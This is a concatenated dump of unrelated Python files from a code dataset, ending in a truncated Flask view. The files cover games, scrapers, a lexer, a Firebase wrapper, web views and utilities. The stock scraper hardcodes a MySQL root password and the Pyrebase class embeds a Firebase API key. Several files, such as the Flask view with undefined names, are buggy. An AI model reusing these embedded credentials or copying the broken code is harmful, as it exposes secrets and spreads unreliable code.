\"SU\": \n            wager *= 0.5\n            print(\"Updated Wager: %f\" %wager)\n            break\n\n        else:\n            print(\"!! Invalid Choice !! Please choose one of (H, S, D, SU)\")\n\n    balance = utils.findWinner(deck, player, dealer, balance, wager)\n\n\ndef deal():\n    \"\"\" Returns void\n\n    Deals cards, and checks for splitting\n    \"\"\"\n\n    while True:\n        try:\n            wager = int(input(\"Place wager: \"))\n            if 1 <= wager <= balance:\n                break\n            else:\n                print(\"!! Invalid Choice!! Please pick a number between 1 and %d\" %balance)\n        except ValueError:\n            print(\"!! Invalid Choice!! Please pick a number between 1 and %d\" %balance)\n\n    deck = Deck()\n    player = Hand()\n    dealer = Hand()\n    \n    # deal two cards each for player and dealer\n    for i in range(2):\n        player.addCard(deck.dealCard())\n        dealer.addCard(deck.dealCard())\n\n    card_1 = player.getCard(0)\n    card_2 = player.getCard(1)\n    upcard = dealer.getCard(0)\n    utils.printStatus(upcard, player)\n    \n    # check for splitting\n    if player.canSplit(): \n        while True:\n            choice = input(\"Would you like to Split (Y / N): \").upper()\n            if choice == \"Y\":\n                if  balance < wager * 2:\n                    print(\"Inadequate balance :(\")\n                else:\n                    print(\"Splitting into two hands. \\nHand #1\")\n                    player = Hand()\n                    player.addCard(card_1)\n                    player.addCard(deck.dealCard())\n                    utils.printStatus(upcard, player)\n                    engine(player, dealer, deck, wager)\n\n                    # checks for adequate balance\n                    if balance >= wager:\n                        print(\"Hand #2\")\n                        player = Hand()\n                        dealer = Hand()\n                        player.addCard(card_2)\n                        player.addCard(deck.dealCard())\n\n                        for i in range(2):\n                            dealer.addCard(deck.dealCard())\n\n                        upcard = dealer.getCard(0)\n                        utils.printStatus(upcard, player)\n                        engine(player, dealer, deck, wager)\n                    else:\n                        print(\"Inadequate balance. Unable to play Hand #2 :(\")\n                    break\n            elif choice == \"N\":\n                engine(player, dealer, deck, wager)\n                break\n            else:\n                print(\"!! Invalid Choice !! Please choose one of (Y / N)\")\n    else:\n        engine(player, dealer, deck, wager)\n    \n\ndef startGame():\n    \"\"\" Returns void\n\n    Main function, serves as entry point into game\n    \"\"\"\n    print(\"Welcome to a game of Blackjack, A game where everybody is trying their luck. You're try to make money, while I try to become a KPCB Fellow\")\n    global balance\n\n    while balance > 0:\n        deal()\n        choice = input(\"Exit - E, Any other key to continue: \").upper()\n        if choice == \"E\":\n            break\n    if balance <= 0:\n        print(\"Whoops... Out of balance.\") \n\n\nif __name__ == \"__main__\":\n    startGame()\n","sub_path":"blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"650878175","text":"import requests\n\nclass YaUploader:\n    def __init__(self, file_path: str):\n        self.file_path = file_path\n\n    def get_headrs (self):\n        return {'Content-type': 'application/json',\n                'Authorization': 'QAuth {}'}\n\n    def upload(self, disk_file_path):\n        files_url = 'http://cloud-api.yandex.net/v1/disk/resources/upload'\n        headers = self.get_headrs()\n        params = {'path': disk_file_path, 'overwrite': 'true'}\n        respons = requests.get(files_url, headers=headers, params=params)\n        return respons.json()\n\n    def upload_file_to_disk(self,disk_file_path,filename):\n        href = self.upload(disk_file_path=disk_file_path).get('href','')\n        respons = requests.put(href, data=open(filename, 'rb'))\n        respons.raise_for_status()\n        if respons.status_code == 201:\n            print('success')\n\n\nif __name__ == '__main__':\n    uploader = YaUploader('Test.txt')\n    result = uploader.upload_file_to_disk('Test.txt')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"380385132","text":"#!/usr/bin/env python\n\nimport os\nimport sys\n\nsearch = sys.argv[1]\nreplace = sys.argv[2]\n\nfor f in sys.argv[3:]:\n    target = f.replace(search, replace)\n    if f == target:\n        print ('File: {0} - not affected.'.format(f))\n        continue\n    if not os.path.exists(target):\n        print ('Moving: {0} -> {1}'.format(f, target))\n        os.rename(f, target)\n    else:\n        print ('Error! File exists: {0}'.format(target))\n\n","sub_path":"missing/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"213081749","text":"# -*- coding: utf-8 -*-\n\n'''\n@author: Komarov Nikita, MIPT 375\n'''\nimport config\nimport time\ndef getCoefs(tmpCoefs,mode):\n\tresult = [0,0]\n\tfor i in range(config.NUMBER_OF_TEAMS):\n\t\tif tmpCoefs[0] != 0 and tmpCoefs[1] != 0:\n\t\t\tresult[i] = (round( ( ( 1 - config.MARGIN[mode] ) * tmpCoefs[1 - i] + tmpCoefs[i]) / tmpCoefs[i],2))\n\n\treturn result\n\ndef getProbs(string):\n\tresult \t= 0\n\tline \t= string.text.replace(' ','').replace('\\n','').encode('utf-8')\n\tif line != 'n/a':\n\t\tstart  \t= line.find(\"(\") + 1\n\t\tfinish\t= line.find(\"%\")\n\t\tnumber \t= float(line[start:finish])\n\t\tresult \t= number/100\n\treturn result\n\n'''\nФункция преобразует названия команд с Egb в названия команд  D2net, если название не найдено, то в словарь записывает новая команда с расшифровкой none\n\tсловарь представляет собой txt файл\n'''\ndef trueName(egbTeam,filename):\n\n\tdictionary = {}\n\tresult='None'\n\n\tfile = open(filename,'r+')\n\tfor row in file.readlines():\n\t\t(key,val) = row.replace('\\n','').split(':')\n\t\tdictionary.update({key:val})\n\t\n\n\tif ( dictionary.get(egbTeam) != None):\n\t\tresult =  dictionary.get(egbTeam)\n\telse: \n\t\t#print egbTeam #сообщаем о том, что найдена новая, незадекларированная команда\n\t\tresult = 'none'\n\t\tdictionary.update({egbTeam:result})\n\t\tfile.write(egbTeam + ':' + result + '\\n')\n\t\n\treturn result\n\n\n'''\nВсе время хранится в float формате !!!\n'''\ndef timeConvert(matchTime):\treturn float(time.mktime(time.strptime(matchTime, '%Y-%m-%d %H:%M:%S')))+3600\n\n'''\nФункция вычисляет значение ставки по критерию келли\n'''\ndef kelly(rate,prob):\n\tresult = 0\t\n\tif rate != 1:\n\t\tresult = round(100 * (rate * prob - 1) / (rate - 1),1)\n\treturn result\n\n\ndef getPost(table,mode,bmType):\n\tpost = config.MODE[mode]+'\\n'\n\tfor match in table:\n\t\tif match.predictTeams[bmType] != 'none':\n\t\t\tpost += ('%s(%.0f) vs %s(%.0f): win %s max bet %.1f%%\\n')%(match.teams[0], 100 * match.probs[bmType][0], \n\t\t\tmatch.teams[1], 100 * match.probs[bmType][1],\n\t\t\tmatch.predictTeams[bmType], match.predictBets[bmType])\n\t\n\treturn post","sub_path":"support.py","file_name":"support.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"70979616","text":"#  Apriori\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport math\r\n               \r\ndataframe = pd.read_csv('historical_data.csv', encoding = \"ISO-8859-1\")\r\n#dataframe = pd.read_excel('historical_data3_excel.xls')\r\n#dataframe = pd.read_excel('historical_data_onecolumn.csv')\r\ndataframe = dataframe['Items']\r\ndf = dataframe[1:]\r\ndf = df.fillna('NEW_TRANSACTION')\r\ndf = df.values\r\ndf = pd.DataFrame(df)\r\ndf = df[0]\r\n\r\nfor i in range (0, len(df)):\r\n    if (df[i] == 'NEW_TRANSACTION'):\r\n        text = ''\r\n        j = 1\r\n        while (df[i+j] != 'NEW_TRANSACTION' and i+j < len(df)-1):\r\n            text = (text + df[i+j] + ',')\r\n            j = j + 1\r\n        if (text != ''):\r\n            df[i] = text\r\n    else:\r\n        df[i] = np.nan\r\ndf = df.dropna()\r\ndataset = df.str.split(',', expand=True)\r\ndataset = dataset.replace(to_replace = '', value = np.nan)\r\ndataset.fillna(value = np.nan, inplace=True)\r\n\r\ntransactions = []\r\n\r\nfor i in range (0, dataset.shape[0]):\r\n    transactions.append([str(dataset.values[i,j]) for j in range (0, dataset.shape[1])])\r\n\r\nfor i in range (0, len(transactions)):\r\n    for j in range(0, len(transactions[i])):\r\n        if (transactions[i][j] == str(np.nan)):\r\n            del transactions[i][j:]\r\n            break\r\n            \r\n# Training Apriori on dataset\r\n\r\nminimum_support = 0.002\r\n\r\nfrom apyori import apriori\r\nrules = apriori(transactions, min_support = minimum_support, min_confidence = 0.3, min_lift = 3, min_length = 2)\r\n\r\n# Visualizing the results\r\nresults = list(rules)\r\n\r\n# Creating a dataframe object from list\r\ndf_results = pd.DataFrame(results)\r\ndf_items = pd.DataFrame(list(df_results['items']))\r\ndf_items['support'] = pd.DataFrame(list(df_results['support']))\r\n\r\ndf_items.to_csv('Output_Rules.csv')","sub_path":"Unwired Market Basket/rohaan_code.py","file_name":"rohaan_code.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"641592106","text":"import ply.lex as lex\n\nreserved = {\n    'if': 'IF',\n    'then': 'THEN',\n    'else': 'ELSE',\n    'while': 'WHILE',\n    'break': 'BREAK',\n    'continue': 'CONTINUE',\n    'return': 'return',\n    'eye': 'EYE',\n    'zeros': 'ZEROS',\n    'ones': 'ONES',\n    'print': 'PRINT'\n}\n\ntokens = [\n    'ID',\n    'FLONUM',\n    'INTNUM',\n    'STRING',\n    'DOTADD',\n    'DOTSUB',\n    'DOTMUL',\n    'DOTDIV',\n    'ADDASSIGN',\n    'SUBASSIGN',\n    'MULASSIGN',\n    'DIVASSIGN',\n    'GREATEREQUAL',\n    'LOWEREQUAL',\n    'EQUALS',\n    'NOTEQUALS',\n    'COMMENT'\n]\ntokens += list(reserved.values())\n\nliterals = \"+-*/=();,':[]{}<>\"\n\ndef t_ID(t):\n    r'[a-zA-Z_][a-zA-Z_0-9]*'\n    t.type = reserved.get(t.value, 'ID')\n    return t\n\ndef t_FLONUM(t):\n    r'\\d*\\.\\d+[eE]\\d+|\\d+\\.\\d*|\\d*\\.\\d+'\n    t.value = float(t.value)\n    return t\n\ndef t_INTNUM(t):\n    r'\\d+'\n    t.value = int(t.value)\n    return t\n\ndef t_STRING(t):\n    r'\\\"[^\"]*\\\"'\n    return t\n\ndef t_COMMENT(t):\n    r'\\#[^\\n]*'\n    return t\n\nt_DOTADD = r'\\.\\+'\nt_DOTSUB = r'\\.\\-'\nt_DOTMUL = r'\\.\\*'\nt_DOTDIV = r'\\.\\/'\nt_ADDASSIGN = r'\\+='\nt_SUBASSIGN = r'\\-='\nt_MULASSIGN = r'\\*='\nt_DIVASSIGN = r'\\/='\nt_GREATEREQUAL = '>='\nt_LOWEREQUAL = '<='\nt_EQUALS = '=='\nt_NOTEQUALS = '!='\n\nt_ignore = ' \\t'\n\ndef t_newline(t):\n    r'\\n+'\n    t.lexer.lineno += len(t.value)\n\nlexer = lex.lex()\n","sub_path":"lab1/scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"439733960","text":"import requests\nfrom lxml import html\nimport MySQLdb\nimport time\nfrom bs4 import BeautifulSoup\nimport numpy as np\n\nTD=time.strftime(\"%m%d\", time.localtime())\ndb = MySQLdb.connect(\"localhost\",\"root\",\"wqsjtul8\",\"allstock\" )\ncursor = db.cursor()\n\ntry:\n    \n    cursor.execute(\"SELECT * FROM allSTnumber\")\n    results = cursor.fetchall()\n    for i in results:\n        n=str(i[0])\n        TBname=\"S\"+n+\"T\"+TD\n        res = requests.get(\"http://www.cnyes.com/twstock/ps_pv_time/\"+n+\".htm\")\n        tree = html.fromstring(res.text)\n        insert = \"INSERT INTO  \"+TBname+\"(T, B, S, D, UD, V, VL) VALUES (%s, %s, %s, %s, %s, %s, %s)\"\n        b=tree.xpath('//table/tr/td/text()')\n        \n        \n        for z in range(10, 0, -1):\n            b.pop()\n        \n        \n        a=0\n        a=len(b)/7\n        a=int(a)\n        d1 = np.array(b);\n        try:    \n            c=d1.reshape(a,7)\n            g=c.tolist()\n            data = (g)\n            print(i[0])\n            cursor.execute(\"DROP TABLE IF EXISTS \"+TBname+\"\")\n            cursor.execute(\"CREATE TABLE IF NOT EXISTS \"+TBname+\"(T CHAR(20) NOT NULL,B CHAR(20) NOT NULL,S CHAR(20) NOT NULL,D CHAR(20) NOT NULL,UD CHAR(20) NOT NULL,V CHAR(20) NOT NULL,VL CHAR(20) NOT NULL)\")\n            cursor.executemany(insert, data)\n        except:\n            print (\"a\")\n    db.commit()\n    cursor.close()\n\nexcept MySQLdb.Error as e:\n   print (\"Error %d: %s\" % (e.args[0], e.args[1]))\n","sub_path":"crawlerallnew.py","file_name":"crawlerallnew.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"480806114","text":"#!/usr/bin/env python\n#    Copyright (C) 2007  Distance and e-Learning Centre,\n#    University of Southern Queensland\n#\n#    This program is free software; you can redistribute it and/or modify\n#    it under the terms of the GNU General Public License as published by\n#    the Free Software Foundation; either version 2 of the License, or\n#    (at your option) any later version.\n#\n#    This program is distributed in the hope that it will be useful,\n#    but WITHOUT ANY WARRANTY; without even the implied warranty of\n#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#    GNU General Public License for more details.\n#\n#    You should have received a copy of the GNU General Public License\n#    along with this program; if not, write to the Free Software\n#    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n#\n\nfrom plugin_image import *\n\nimport unittest\nfrom unittest import TestCase, TextTestRunner, TestLoader, TestResult, defaultTestLoader as testLoader\nimport os\n\nimport sys\nsys.path.append(\"../../../utils\")\nfrom file_system import FileSystem\n\ntestFile1 = \"testData/testTransparent2.gif\"\ntestFile2 = \"testData/testNonTrans.gif\"\ntempGifFile = \"testData/temp.gif\"\ntempJpgFile = \"testData/temp.jpg\"\n\n\nclass IceImageTests(TestCase):\n    def setUp(self):\n        pass\n\n    def tearDown(self):\n        pass\n\n    def __getData(self, filename):\n        f = open(filename, \"rb\")\n        data = f.read()\n        f.close()\n        return data\n\n\n    def xtestHasTransparency(self):\n        imageData = self.__getData(testFile1)\n        im = IceImage(imageData)\n        self.assertTrue(im.hasTransparency())\n\n        imageData = self.__getData(testFile2)\n        im = IceImage(imageData)\n        self.assertFalse(im.hasTransparency())\n\n    def xtestRemoveTransparency(self):\n        imageData = self.__getData(testFile1)\n        im = IceImage(imageData)\n        self.assertTrue(im.hasTransparency())\n        im.removeTransparency()\n        self.assertFalse(im.hasTransparency())\n        im.resizeImage2()\n        im.save(tempJpgFile)\n\n        imageData = self.__getData(tempJpgFile)\n        im = IceImage(imageData)\n        pxl=im.getPixel((1,1))\n        #p=im.getpalette()\n        #pxl=p[index]\n        self.assertEqual(pxl, (255, 255, 255))\n\n    def testHasTransparency2(self):\n        testFormula = \"testData/1_a.gif\"\n        import Image\n        from cStringIO import StringIO\n\n        #use image directly\n        im = Image.open(testFormula)\n        #Make it transparent first before convert to L (grayscale)\n        s = StringIO()\n        newSize = (212, 45)\n        im.save(s, \"GIF\")\n\n        data = s.getvalue()\n\n        iceImage = IceImage(data, \".gif\")\n        data = iceImage.bwResizeImage(newSize)\n        fs = FileSystem()\n        fs.writeFile(\"testData/iceImage1.gif\", data)\n\n\nif __name__ == \"__main__\":\n    #IceCommon.runUnitTests(locals())\n    unittest.main()\n\n\n\n\n\n\n","sub_path":"apps/ice/plugins/required/plugin_image_test.py","file_name":"plugin_image_test.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"58811706","text":"arr = list(map(int, input().split()))\nasc = True\ndesc = True\n\nfor i in range(1,8):\n  if arr[i] > arr[i-1]:\n    desc = False\n  elif arr[i] < arr[i-1]:\n    asc = False\n\nif asc:\n  print('ascending')\nelif desc:\n  print('descending')\nelse:\n  print('mixed')\n\n","sub_path":"python/Fastcampus_Algorithm/유형별풀이/음계.py","file_name":"음계.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"278578492","text":"from tkinter import *\r\n#from random import randint\r\n\r\ndef fill_cell(i, j, size, color):\r\n    field.create_rectangle(i * size, j * size, (i + 1) * size, (j + 1) * size, outline='black', fill=color, width=1)\r\n\r\ndef fill_all(f, size):\r\n    for i in range(len(f)):\r\n        for j in range(len(f[0])):\r\n            fill_cell(i, j, size, 'white' if f[i][j] == 0 else 'black')\r\n\r\ndef around(f, i, j):\r\n    sum = 0\r\n    for p in range(-1, 2):\r\n        for q in range(-1, 2):\r\n            sum += f[(i+p)%len(f)][(j+q)%len(f[0])]\r\n    return sum - f[i][j]\r\n\r\ndef refresh():\r\n    global f\r\n    f1 = []\r\n    for i in range(len(f)):\r\n        f1 = f1 + [[]]\r\n        for j in range(len(f[0])):\r\n            f1[i] = f1[i] + [[]]\r\n            if around(f, i, j) == 3 or f[i][j] == 1 and around(f, i, j) == 2:\r\n                f1[i][j] = 1\r\n            else:\r\n                f1[i][j] = 0\r\n            if f1[i][j] != f[i][j]:\r\n                yield (i, j, f1[i][j])\r\n    f = f1\r\n\r\nflag = False\r\n\r\ndef rebuild():\r\n    FPS = fps.get()\r\n    global flag\r\n    if flag == True:\r\n        for cell in refresh():\r\n            fill_cell(cell[0], cell[1], size, 'white' if cell[2] == 0 else 'black')\r\n        root.update()\r\n        root.after(1000 // FPS, rebuild)\r\n\r\ndef pause(event):\r\n    global flag\r\n    flag = False if flag == True else True\r\n    root.after(1000 // FPS, rebuild)\r\n\r\ndef draw(event):\r\n    a, b  = event.x // size, event.y // size\r\n    f[a][b] = 0 if f[a][b] == 1 else 1\r\n    fill_cell(a, b, size, 'white' if f[a][b] == 0 else 'black')\r\n\r\n#def rand_fill(event):\r\n#    global f\r\n#    for i in range(len(f)):\r\n#        for j in range(len(f[0])):\r\n#            f[i][j] = randint(0, 1)\r\n#            fill_cell(i, j, size, '#fff' if f[i][j] == 0 else '#000')\r\n\r\nroot = Tk()\r\nwidth, height, size, FPS = 50, 30, 10, 20\r\nfield = Canvas(root, width=width * size, height=height * size, bg ='white')\r\nfield.pack(side='left')\r\nfps = Scale(root, orient=VERTICAL, length=height*size, from_=1, to=25, tickinterval=24, resolution=1)\r\nfps.set(15)\r\nfps.pack(side='right')\r\nf = [[0 for j in range(height)] for i in range(width)]      # f[i][j]: i - row, j -column\r\nf[1][1] = f[2][2] = f[2][3] = f[3][1] = f[3][2] = 1\r\n\r\nfill_all(f, size)\r\nroot.bind('<space>', pause)\r\nfield.bind('<Button-1>', draw)\r\n#root.bind('<Button1-Motion>', draw)\r\n#root.bind('<Control-r>', rand_fill)\r\nroot.after(1000 // FPS, rebuild)\r\nroot.mainloop()\r\n","sub_path":"Game_of_life.py","file_name":"Game_of_life.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"158805465","text":"import abc\nfrom decimal import Decimal\nfrom typing import Dict, Union\nfrom logging import Logger\n\nfrom trading_bots.core.logging import get_logger\n\nfrom ..clients import ClientWrapper\nfrom ..money import Money\n\n__all__ = [\"ConverterRateError\", \"ConverterValidationError\", \"Converter\"]\n\nNumber = Union[float, Decimal]\n\n\nclass ConverterRateError(Exception):\n    def __init__(self, converter):\n        super().__init__(f\"{converter} failed to get rate!\")\n\n\nclass ConverterValidationError(Exception):\n    def __init__(self, converter, rate):\n        super().__init__(f\"{converter} rate is invalid!: {rate}\")\n\n\nclass Converter(ClientWrapper, abc.ABC):\n    def __init__(\n        self,\n        return_decimal: bool = False,\n        client_params: Dict = None,\n        name: str = None,\n        logger: Logger = None,\n    ):\n        super().__init__(client_params, name)\n        self.return_decimal = return_decimal\n        self.log = logger or get_logger(__name__)\n\n    def _format_number(self, value: (str, Number)) -> Number:\n        if self.return_decimal:\n            if not isinstance(value, Decimal):\n                return Decimal(value)\n            return value\n        return float(value)\n\n    @abc.abstractmethod\n    def _get_rate(self, currency: str, to: str) -> Union[str, Number]:\n        pass\n\n    def get_rate_for(self, currency: str, to: str, reverse: bool = False) -> Number:\n        \"\"\"Get current market rate for currency\"\"\"\n\n        # Return 1 when currencies match\n        if currency.upper() == to.upper():\n            return self._format_number(\"1.0\")\n\n        # Set base and quote currencies\n        base, quote = currency, to\n        if reverse:\n            base, quote = to, currency\n\n        try:  # Get rate from source\n            rate = self._get_rate(base, quote)\n        except Exception as e:\n            raise ConverterRateError(self.name) from e\n\n        # Convert rate to number\n        rate = self._format_number(rate)\n\n        try:  # Validate rate value\n            assert isinstance(rate, (float, Decimal))\n            assert rate > 0\n        except AssertionError as e:\n            raise ConverterValidationError(self.name, rate) from e\n\n        # Return market rate\n        if reverse:\n            return self._format_number(\"1.0\") / rate\n        return rate\n\n    def convert(\n        self, amount: Number, currency: str, to: str, reverse: bool = False\n    ) -> Number:\n        \"\"\"Convert amount to another currency\"\"\"\n        rate = self.get_rate_for(currency, to, reverse)\n        if self.return_decimal:\n            amount = Decimal(amount)\n        return amount * rate\n\n    def convert_money(self, money: Money, to: str, reverse: bool = False) -> Money:\n        \"\"\"Convert money to another currency\"\"\"\n        converted = self.convert(money.amount, money.currency, to, reverse)\n        return Money(converted, to)\n","sub_path":"trading_bots/contrib/converters/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"324801338","text":"import pyrebase\nimport datetime\n\n\nclass FB(object):\n    def __init__(self, apiKey=\"AIzaSyAA1AMe3MWLICtbaNs0YsNPEUgcnI8EOHE\" , authDomain =\"trial-5-42c84.firebaseapp.com\",databaseURL =\"https://trial-5-42c84.firebaseio.com\" , storageBucket = \"trial-5-42c84.appspot.com\"):\n        self.apiKey = apiKey\n        self.authDomain = authDomain\n        self.databaseURL = databaseURL\n        self.storageBucket = storageBucket\n        self.clock = str(datetime.datetime.now())\n        self.hour =  int(self.clock[11:13])\n        self.min = int(self.clock[14:16])\n        self.sec = int(self.clock[17:19])\n        self.config = {\n      \"apiKey\": self.apiKey,\n      \"authDomain\": self.authDomain,\n      \"databaseURL\": self.databaseURL,\n      \"storageBucket\": self.storageBucket}\n\n\n    def update_node(self, nodes , updatedValue):\n        path = \"\"\n        for node in nodes:\n            if node != nodes[-1]:\n                path+= node\n                path+= \"/\"        \n        print(path)\n        db.child(path).update({nodes[-1]:updatedValue})\n\n    def retrieve_node(self, nodes):\n        path = self.create_path(nodes)\n        finalValue = db.child(path).get()\n        return  finalValue.val()\n\n    def create_path(self, nodes):\n        path = \"\"\n        for node in nodes:\n            if node != nodes[-1]:\n                path += (node + \"/\")\n            else:\n                path += node\n        return path\n        \n\n    def update_hourly(self,nodes,nodeCurrent):\n        pathToHistory = createPath(nodes)\n        pathToCurrent =  createPath(nodeCurrent)\n        \n        current = db.child(pathToCurrent).get()\n        currentVal =  current.val()\n        node = db.child(path).get()\n        nodeVal= node.val()\n        #case 1: nodeVal is still empty\n        #case 2: nodeVal already has 24 values\n        if len(nodeVal) == 0:\n            nodeVal.append(currentVal)\n        elif len(nodeVal) == 24:\n            if self.hour == 0 and self.min == 0 and self.sec ==0:\n                nodeVal = []\n                nodeVal.append(currentVal)\n        else:\n            if self.min == 0  and self.sec == 0:\n                nodeVal.append(currentVal)\n\n        db.child(pathToHistory).update({nodes[-1]:nodeVal})\n        return \"updated\"\n\n        \nfb = FB()\nfirebase = pyrebase.initialize_app(fb.config)\ndb = firebase.database()\nfb.update_node([\"LED\" ,\"Yellow\",\"Room 1\"],  123)\nprint(fb.retrieve_node([\"LED\" ,\"Yellow\",\"Room 1\"]))\n\n\n\n\n                            \n","sub_path":"pyrebase class/pyrebase_final.py","file_name":"pyrebase_final.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"641557078","text":"from django.shortcuts import render, redirect, reverse, get_object_or_404\nfrom .models import Product, Hop, Malt, Yeast, Eqipment, Book\nfrom .utils import get_product\n# Create your views here.\n\n\ndef all_products(request):\n    products = Product.objects.all()\n    if request.GET:\n        models = [[\"yeast\", Yeast], [\"malt\", Malt], [\"hop\", Hop],\n                  [\"equipment\", Eqipment], [\"book\", Book]]\n        for model in models:\n            if request.GET['cat'] == model[0]:\n                products = model[1].objects.all()\n\n    context = {\n        'products': products,\n        }\n\n    return render(request, 'products/products.html', context)\n\n\ndef product_detail(request, product_id):\n    product = get_product(product_id)\n    context = {'product': product[1], }\n\n    return render(request, 'products/product_details.html', context)","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"99579545","text":"from setuptools import setup, find_packages\nimport os\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\nrequirements = [\n        \"cffi>=1.7\",\n        \"numpy>=1.14\"\n    ]\n\n\nsetup(\n    name=\"seclink\",\n    version='0.1.0',\n    description='Nope',\n    setup_requires=[\"cffi>=1.7\"],\n    install_requires=requirements,\n    packages=find_packages(exclude=[\n        '_cffi_build', '_cffi_build/*']),\n    package_data={'seclink': ['_cffi_build/']},\n    ext_package=\"seclink\",\n    classifiers=[\n        \"Development Status :: 3 - Alpha\",\n        \"Intended Audience :: Developers\",\n        \"License :: OSI Approved :: Apache Software License\",\n        \"Natural Language :: English\",\n        \"Operating System :: MacOS :: MacOS X\",\n        \"Operating System :: POSIX\",\n        \"Operating System :: POSIX :: Linux\",\n        \"Programming Language :: Python :: 3\",\n        \"Programming Language :: Python :: 3.6\",\n        \"Programming Language :: Python :: 3.7\",\n        \"Programming Language :: Python :: 3.8\",\n        \"Programming Language :: Python :: Implementation :: CPython\",\n        \"Topic :: Scientific/Engineering :: Information Analysis\",\n        \"Topic :: Security :: Cryptography\",\n    ],\n\n    # for cffi\n    cffi_modules=[\"_cffi_build/seclink.py:ffibuilder\"],\n    zip_safe=False,\n    include_package_data=True,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"581438256","text":"from django.conf.urls.defaults import patterns, include, url\nfrom django.views.generic.simple import direct_to_template\n\n\nurlpatterns = patterns('',\n    url(r'^$', direct_to_template, {\n        'template': 'index.html',\n        }, name='examples'),\n    url(r'^store/', include('djoe.examples.store.urls')),\n    #url(r'^wiki/', include('djoe.examples.wiki.urls')),\n)\n","sub_path":"examples/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"362839720","text":"#!/usr/bin/env python3\nimport argparse\nimport json\nimport re\nimport sys\n\n\ndef abbreviate(line: str, journal_dict: dict) -> str:\n\n    if re.search('\".*\"', line):\n        # journal_name_template = '\"{}\"'\n        journal_surround = re.search('\".*\"', line).group(0)\n\n    elif re.search(\"{.*}\", line):\n        # journal_name_template = \"{{{}}}\"\n        journal_surround = re.search(\"{.*}\", line).group(0)\n\n    else:\n        raise ValueError(f\"Could not parse format of line: {line}\")\n\n    journal_full = journal_surround[1:-1]\n    journal_name = journal_full.replace(\"{\", \"\").replace(\"}\", \"\")\n    journal_abbr = journal_dict.get(journal_name.lower(), journal_full)\n    # journal_abbr = journal_name_template.format(journal_abbr)\n\n    return line.replace(journal_full, journal_abbr)\n\n\ndef main(bib: list, journal_dict: dict):\n\n    for line in bib:\n\n        if line.strip().startswith(\"journal\"):\n            new_line = abbreviate(line, journal_dict)\n            print(new_line.rstrip())\n\n        else:\n            print(line.rstrip())\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(\n        description=\"Abbreviate journal names in a bibliography\"\n    )\n    parser.add_argument(\"bibfile\", type=str, help=\"bibliography file\")\n    parser.add_argument(\"--user-json\", type=str, default=None, help=\"custom json file\")\n    args = parser.parse_args()\n\n    with open(\"journals.json\") as fin:\n        journal_dict = json.load(fin)\n\n    if args.user_json:\n        with open(args.user_json) as fin:\n            custom_json = json.load(fin)\n        journal_dict.update(custom_json)\n\n    journal_dict = {k.lower(): v for k, v in journal_dict.items()}\n\n    with open(args.bibfile) as b:\n        lines = b.readlines()\n\n    main(lines, journal_dict)\n","sub_path":"journal_abbrev.py","file_name":"journal_abbrev.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"451527650","text":"from flask import render_template,request,redirect,url_for,abort,current_app\nfrom ..models import User,Post,Comment\nfrom . import main\nfrom flask_login import login_required\nfrom .forms import UpdateProfile\nfrom .. import db,photos\nfrom ..requests import get_quotes\nfrom .forms import CommentForm,PostForm,UpdatePostForm\nfrom flask_login import current_user\n\n# Views\n@main.route('/')\ndef index():\n    post = Post.query.order_by(Post.time.desc()).all()\n    hobbies = Post.query.filter_by(category = 'MentalHealth').order_by(Post.time.desc()).all() \n    experiences = Post.query.filter_by(category = 'Unthinkables').order_by(Post.time.desc()).all()\n    skills = Post.query.filter_by(category = 'Experiences').order_by(Post.time.desc()).all()\n    quotes = get_quotes()\n    title ='Blog'\n    return render_template('index.html', mentalhealth = mentalhealth, experiences = experiences, post = post, unthinkables= unthinkables, title=title,quotes = quotes)\n\n@main.route('/user/<uname>')\ndef profile(uname):\n    user = User.query.filter_by(username = uname).first()\n\n    if user is 